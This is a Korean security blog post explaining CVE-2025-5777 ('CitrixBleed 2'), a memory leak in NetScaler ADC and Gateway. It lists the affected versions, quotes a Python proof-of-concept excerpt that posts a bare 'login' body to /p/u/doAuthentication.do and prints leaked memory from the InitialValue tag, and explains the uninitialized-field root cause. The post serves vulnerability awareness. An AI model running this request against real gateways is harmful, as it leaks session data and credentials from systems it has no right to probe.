[하루한줄] CVE-2025-5777: Citrix ADC Memory Leak Vulnerability

URL

Target

  • NetScaler ADC and NetScaler Gateway 14.1 버전 : 14.1-43.56 미만
  • NetScaler ADC and NetScaler Gateway 13.1 버전 : 13.1-58.32 미만
  • NetScaler ADC 13.1-FIPS 버전 : 13.1-37.235 미만
  • NetScaler ADC 13.1-NDcPP 버전 : 13.1-37.235 미만
  • NetScaler ADC 12.1-FIPS 버전 : 12.1-55.328 미만

Explain

VDI 등 가상화 환경을 구성할 때 많은 기업들이 Citrix 사의 솔루션을 사용할 것으로 예상됩니다. 최근 Citrix 의 제품 구성요소 중 하나인 NetScaler ADC 와 NetScaler Gateway 에서 Memory Leak 취약점이 발견되었습니다. 과거 CitrixBleed 라고도 불린 CVE-2023-4966 취약점에 이어 이 취약점(CVE-2025-5777) 은 CitrixBleed 2 로도 불리고 있습니다.

PoC 코드를 보며 어떻게 Memory Leak 이 트리거되는지 알아보겠습니다.

먼저 /p/u/doAutehntication.do 에 login 이라는 문자열만 POST Body 로 전달합니다. [1]

이후, response 에서 InitialValue 라는 tag 내 내용을 출력합니다. [2]

설명에 따르면, 취약한 버전일 경우InitialValue태그 안에 유출된 메모리 값이 포함되어 응답된다고 합니다.

...
    url = target + "/p/u/doAuthentication.do"
    data = "login"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Content-Length": str(len(data))
    }

    try:
        req = requests.post(url, headers=headers, data=data, verify=False, allow_redirects=False, timeout=60) # [1]

        if req.status_code == 200 and req.headers.get("Content-Type", "").startswith("application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8") or req.headers.get("Content-Type", "").startswith("application/xml"):
            soup = BeautifulSoup(req.text, "xml")
            initial_value_tag = soup.find('InitialValue') # [2]

            if initial_value_tag:
                print(f"\n    \033[91m[*] Vulnerable Target:-\n                   <InitialValue>\n                   {initial_value_tag.text}\n                   </InitialValue>\n\033[0m")

 
 ...

취약점의 Root Cause 를 살펴보겠습니다. /p/u/doAuthentication.do 에 요청을 할 때 POST 파라메터로 login=username 와 같이 전달이 되는데요. 응답에서 InitialValue 태그 안에는 해당 파라메터의 값 (username) 이 포함되어 응답되는 것이 정상 흐름이라고 합니다.

이에 관한 로직은 해당 기능이 포함된 /netscaler/nsppe 바이너리에서 확인할 수 있는데요. 해당 부분 로직은 다음과 같습니다.

login 필드가 없으면 null 등으로 저장되어 InitialValue 태그에 아무런 값이 포함되어 있지 않지만 Body 에 login 이 포함되어 있어 필드는 있으나 값이 초기화 안된 상태로 남아있던 것입니다. 그래서 사용자 이름에 해당하는 영역이 응답값에 포함되어 유출이 되는 취약점이었습니다.

Reference